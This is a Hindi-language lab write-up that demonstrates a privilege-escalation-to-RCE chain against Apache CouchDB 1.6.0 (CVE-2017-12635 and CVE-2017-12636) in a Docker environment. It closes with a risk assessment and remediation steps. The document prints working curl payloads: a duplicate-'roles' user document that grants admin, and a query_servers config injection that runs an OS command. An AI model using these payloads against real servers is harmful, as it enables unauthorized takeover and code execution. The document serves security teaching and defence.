
Apache CouchDB 1.6.0 के विरुद्ध CVE-2017-12635 (विशेषाधिकार वृद्धि) और CVE-2017-12636 (रिमोट कोड निष्पादन) के शोषण का प्रदर्शन करने वाली चरण-दर-चरण लैब, जोखिम मूल्यांकन और उपचार मार्गदर्शन के साथ।
वातावरण में क्या चल रहा है, इससे शुरुआत करते हुए, मैं सभी सक्रिय कंटेनरों को सूचीबद्ध करता हूँ:
docker ps

पीड़ित केवल एक पोर्ट एक्सपोज़ करता है: 5984
⇒ मैं अधिक जानकारी के लिए सीधे उस पर curl करता हूँ:
curl -i http://192.168.3.137:5984/

प्रतिक्रिया का विश्लेषण:
प्रतिक्रिया: HTTP/1.1 200 OK, जो साबित करती है कि पोर्ट 5984 पर सेवा सक्रिय है और HTTP के माध्यम से सीधे एक्सेस की जा सकती है।
सर्वर हेडर: CouchDB/1.6.0 (Erlang OTP/17) और JSON बॉडी जिसमें "version":"1.6.0" है, यह पुष्टि करते हैं कि यह Apache CouchDB संस्करण 1.6.0 है।
अटैक सतह का आकलन:
CouchDB सेवा पोर्ट 5984 के माध्यम से बाहरी रूप से एक्सपोज़्ड है। यह CouchDB HTTP API के लिए डिफ़ॉल्ट पोर्ट है, जो REST API के माध्यम से डेटाबेस इंटरैक्शन की अनुमति देता है।
संस्करण CouchDB 1.6.0 एक पुराना संस्करण है, जो 1.7.1 पैच से पहले का है। Apache दस्तावेज़ीकरण के अनुसार, इस रेंज के CouchDB संस्करण निम्न से प्रभावित हैं:
roles कुंजियों की असंगत हैंडलिंग के कारण।=> सोच: प्राप्त प्रतिक्रिया से यह निर्धारित करने के लिए पर्याप्त सबूत हैं कि पीड़ित पोर्ट 5984 पर Apache CouchDB 1.6.0 चला रहा है। यह एक पुराना संस्करण है जो CVE-2017-12635 और CVE-2017-12636 की एक्सप्लॉइट चेन से जुड़ा है। इसलिए, एक तार्किक एक्सप्लॉइट पथ है पहले प्रमाणीकरण स्थिति का परीक्षण करना, और फिर CouchDB HTTP API के माध्यम से प्रिविलेज एस्केलेशन या कमांड एक्ज़ीक्यूशन की संभावना का मूल्यांकन करना।
CVE-2017-12635 CouchDB में दो JSON पार्सरों के बीच विसंगति का फायदा उठाता है। जब /_users पर दो डुप्लिकेट roles कुंजियों के साथ एक उपयोगकर्ता दस्तावेज़ भेजा जाता है, तो CouchDB दस्तावेज़ के लेखन विशेषाधिकारों की जाँच के लिए दूसरी roles कुंजी का उपयोग करता है, लेकिन निर्माण के बाद उपयोगकर्ता की वास्तविक अनुमतियों के लिए पहली roles कुंजी का उपयोग करता है। इस प्रकार, एक हमलावर वैलिडेशन जाँच को बायपास करने के लिए पहली roles को ["_admin"] और दूसरी roles को [] सेट करता है, जिसके परिणामस्वरूप बनाया गया उपयोगकर्ता व्यवस्थापक विशेषाधिकार रखता है।

CouchDB दस्तावेज़ीकरण के आधार पर, CouchDB उपयोगकर्ता जानकारी को _users नामक एक विशेष डेटाबेस में संग्रहीत करता है, जहाँ प्रत्येक उपयोगकर्ता दस्तावेज़ की ID org.couchdb.user:<username> प्रारूप में होती है। चूँकि हमें hacker नाम का एक उपयोगकर्ता बनाना है, उपयोग किया जाने वाला एंडपॉइंट /_users/org.couchdb.user:hacker है। मैं एक नया उपयोगकर्ता बनाता हूँ और उसे एडमिन विशेषाधिकार प्रदान करता हूँ ताकि यह देखा जा सके कि सर्वर कैसे प्रतिक्रिया करता है।
curl -X PUT http://192.168.3.137:5984/_users/org.couchdb.user:hacker \
-H "Content-Type: application/json" \
-d '{
"type": "user",
"name": "hacker",
"roles": ["_admin"],
"roles": [],
"password": "password123"
}'

लौटाई गई प्रतिक्रिया true है, जो साबित करती है कि उपयोगकर्ता सफलतापूर्वक बनाया गया था। मैं नव निर्मित admin क्रेडेंशियल्स का उपयोग करके एक सत्यापन जाँच करता हूँ: curl -u hacker:password123 http://192.168.3.137:5984/_users। /_users एंडपॉइंट एक सिस्टम डेटाबेस है, जिससे डिफ़ॉल्ट रूप से केवल एडमिन ही मेटाडेटा पढ़ सकते हैं। यदि सामान्य उपयोगकर्ता द्वारा अनुरोध किया जाता है → 403 Forbidden। पूर्ण DB जानकारी के साथ 200 OK प्रतिक्रिया पुष्टि करती है कि hacker खाते के पास वास्तव में _admin विशेषाधिकार हैं। यह Apache CouchDB 1.6.0 पर CVE-2017-12635 परिकल्पना के साथ पूरी तरह मेल खाता है।
सारांश:
मैंने Apache CouchDB 1.6.0 पर CVE-2017-12635 को सफलतापूर्वक सत्यापित किया है। प्रारंभ में, पोर्ट 5984 केवल यह दिखाता था कि CouchDB HTTP API एक्सपोज़्ड था। curl के माध्यम से फिंगरप्रिंटिंग के बाद, प्रतिक्रिया ने पुष्टि की कि सेवा CouchDB 1.6.0 है, जो CVE-2017-12635 की भेद्यता सीमा के भीतर एक संस्करण है।
तुरंत यह निष्कर्ष निकालने के बजाय कि RCE संभव है, मैंने पहले चरण-दर-चरण प्रमाणीकरण प्रवाह को सत्यापित किया। /_users पर दो डुप्लिकेट roles कुंजियों के साथ एक उपयोगकर्ता दस्तावेज़ भेजकर, पेलोड ने उपयोगकर्ता hacker को सफलतापूर्वक बनाया। इसके बाद, curl -u hacker:password123 के माध्यम से /_users के अनुरोध ने सिस्टम डेटाबेस विवरण के साथ 200 OK लौटाया, जिससे साबित हुआ कि उपयोगकर्ता hacker के पास वास्तव में _admin विशेषाधिकार हैं।
परिणामस्वरूप, एक बार CouchDB एडमिन विशेषाधिकार प्राप्त हो जाने पर, अटैक सतह CVE-2017-12636 तक विस्तारित हो जाती है, क्योंकि एडमिन HTTP API के माध्यम से CouchDB कॉन्फ़िगरेशन को बदल सकते हैं। यह सर्वर पर रिमोट कोड एक्ज़ीक्यूशन क्षमताओं का और मूल्यांकन करने के लिए पूर्वापेक्षा के रूप में कार्य करता है।
⇒ सोच: OS-स्तरीय कमांड एक्ज़ीक्यूशन का परीक्षण करने के लिए नव प्राप्त एडमिन विशेषाधिकारों का उपयोग करें।

Apache CouchDB दस्तावेज़ीकरण के अनुसार, एक क्वेरी सर्वर एक बाहरी प्रक्रिया है जिसका उपयोग CouchDB design functions को संसाधित करने के लिए करता है, जैसे MapReduce तंत्र में एक JavaScript व्यू। जब एक design document "language" फ़ील्ड घोषित करता है, तो CouchDB query_servers कॉन्फ़िगरेशन में संबंधित क्वेरी सर्वर को खोजने के लिए इस मान पर निर्भर करता है।
यदि design document में "language": "javascript" है, तो CouchDB map/reduce फ़ंक्शन को संभालने के लिए कौन सी प्रक्रिया स्पॉन करनी है, यह निर्धारित करने हेतु query_servers.javascript कॉन्फ़िगरेशन को क्वेरी करता है। यह एक वैध CouchDB डिज़ाइन है, क्योंकि CouchDB कोर डेटाबेस इंजन के भीतर सभी व्यू कोड को सीधे निष्पादित नहीं करता है।
⇒ समस्या CVE-2017-12636 में CouchDB व्यवस्थापक की HTTP API के माध्यम से सर्वर कॉन्फ़िगरेशन को संशोधित करने की क्षमता निहित है। इनमें से कुछ कॉन्फ़िगरेशन में ऑपरेटिंग सिस्टम-स्तरीय बाइनरी या प्रक्रियाओं के पथ शामिल हैं जिन्हें CouchDB लॉन्च करेगा। इसलिए, CVE-2017-12635 से एडमिन विशेषाधिकार प्राप्त करने के बाद, एक हमलावर query_servers.<language> को एक OS कमांड की ओर इंगित करने के लिए संशोधित कर सकता है। जब संबंधित भाषा का उपयोग करने वाला व्यू ट्रिगर होता है, तो CouchDB कमांड को स्पॉन करेगा, जिसके परिणामस्वरूप सर्वर पर कमांड एक्ज़ीक्यूशन होगा।
एक्सप्लॉइटेशन प्रवाह:
/_config एंडपॉइंट के माध्यम से दुर्भावनापूर्ण कॉन्फ़िगरेशन को query_servers.cmd में लिखें।"language": "cmd" के साथ एक design document बनाएँ।query_servers.cmd को खोजता है और कॉन्फ़िगर की गई प्रक्रिया को स्पॉन करता है।दुर्भावनापूर्ण query_server कॉन्फ़िगरेशन लिखना
मान के रूप में OS कमांड के साथ, एक मनमाना नाम वाला "क्वेरी सर्वर" पंजीकृत करें:
curl -X PUT http://hacker:[email protected]:5984/_config/query_servers/cmd \
-H "Content-Type: application/json" \
-d '"id 1>/tmp/pwned 2>&1"'
यह वह OS कमांड है जिसे CouchDB प्रक्रिया द्वारा स्पॉन किया जाएगा।
एक्ज़ीक्यूशन ट्रिगर करना — डेटाबेस और दस्तावेज़ बनाना
# Create test database
curl -X PUT http://hacker:[email protected]:5984/rcetest
# Create design document with view using language "cmd"
curl -X PUT http://hacker:[email protected]:5984/rcetest/_design/rce \
-H "Content-Type: application/json" \
-d '{
"language": "cmd",
"views": {
"myview": {
"map": "function(doc){}"
}
}
}'
# Trigger view → CouchDB spawns query server "cmd" → executes OS command
curl http://hacker:[email protected]:5984/rcetest/_design/rce/_view/myview
एक्ज़ीक्यूशन प्रवाह:
View query → [HTTP PUT Config] -> [Inject OS command as mock query language]
→ [HTTP PUT Design Doc] -> [Assign handling attribute to the mock query language]
→ [HTTP GET View] -> [Force CouchDB config lookup -> Spawn subprocess executing command]
→ [Read /tmp/pwned] -> [Confirm successful execution privilege (RCE)]
RCE सत्यापित करें:
docker exec project1-lab07-1 cat /tmp/pwned

सोच: यह RCE हमला blind/असिंक्रोनस है क्योंकि कमांड आउटपुट सीधे HTTP प्रतिक्रिया में नहीं लौटाया जाता है। इसलिए, यह साबित करने के लिए कि कमांड निष्पादित की गई थी, मैंने एक पेलोड का उपयोग किया जो id कमांड के आउटपुट को /tmp/pwned फ़ाइल में लिखकर एक साइड इफेक्ट उत्पन्न करता है। कंटेनर में /tmp/pwned फ़ाइल को पढ़ते समय और आउटपुट uid=1000(couchdb) gid=999(couchdb) को देखते हुए, हम यह निष्कर्ष निकाल सकते हैं कि CouchDB ने couchdb उपयोगकर्ता के विशेषाधिकारों के तहत OS कमांड को सफलतापूर्वक निष्पादित किया।
परिणाम uid=1000(couchdb) दिखाता है कि कमांड रूट विशेषाधिकारों के साथ नहीं चली, बल्कि CouchDB प्रक्रिया के विशेषाधिकारों के साथ चली। यह साबित करने के लिए पर्याप्त है कि CVE-2017-12636 सेवा अनुमतियों की सीमाओं के भीतर रिमोट कोड एक्ज़ीक्यूशन की ओर ले जाता है।
सिस्टम पर JSON पार्सर असंगति (CVE-2017-12635) भेद्यता, क्वेरी सर्वर इंजेक्शन (CVE-2017-12636) के साथ संयुक्त, उच्चतम जोखिम स्तर पर आंकी गई है:
| मानदंड | आकलन | विवरण |
|---|---|---|
| CVSS स्कोर | 9.8 (क्रिटिकल) | लगभग अधिकतम, एक्सप्लॉइट करने के लिए केवल एक HTTP अनुरोध की आवश्यकता। |
| प्रमाणीकरण (Auth) | आवश्यक नहीं | हमलावरों को खाते या लॉगिन की आवश्यकता नहीं है। CVE-2017-12635 रिमोट एडमिनिस्ट्रेटिव खाता निर्माण की अनुमति देता है। |
| जटिलता | बहुत कम | इसमें केवल /_users एंडपॉइंट पर डुप्लिकेट "roles" कुंजी वाला JSON पेलोड युक्त एक HTTP PUT अनुरोध भेजना शामिल है। |
| प्राप्त विशेषाधिकार | couchdb (uid=1000) | CouchDB चलाने वाले उपयोगकर्ता के विशेषाधिकारों के तहत OS कमांड स्पॉन करता है, जिससे सिस्टम फ़ाइल पढ़ने/लिखने और सभी डेटाबेस तक पहुँच की अनुमति मिलती है। |
| पार्श्व संचलन (Lateral Movement) | उच्च | समझौता किए गए कंटेनर से, एक हमलावर आंतरिक स्कैनिंग (LAN) कर सकता है और उसी Docker नेटवर्क के भीतर अन्य कंटेनरों या होस्ट मशीन को लक्षित कर सकता है। |
इन भेद्यताओं को पूरी तरह से कम करने के लिए, सिस्टम प्रशासन टीम को निम्नलिखित उपायों को लागू करना चाहिए (प्राथमिकता के क्रम में):
local.ini कॉन्फ़िगरेशन फ़ाइल में require_valid_user = true कॉन्फ़िगर करें। CouchDB को कभी भी "एडमिन पार्टी" मोड में न चलाएँ (जहाँ कोई एडमिन नहीं होता, जिससे हर कोई एडमिन बन जाता है)।127.0.0.1 से बाइंड करें।local.ini फ़ाइल में config_whitelist का उपयोग करें, जिससे हमलावरों को OS कमांड इंजेक्ट करने के लिए /_config/query_servers एंडपॉइंट का लाभ उठाने से रोका जा सके।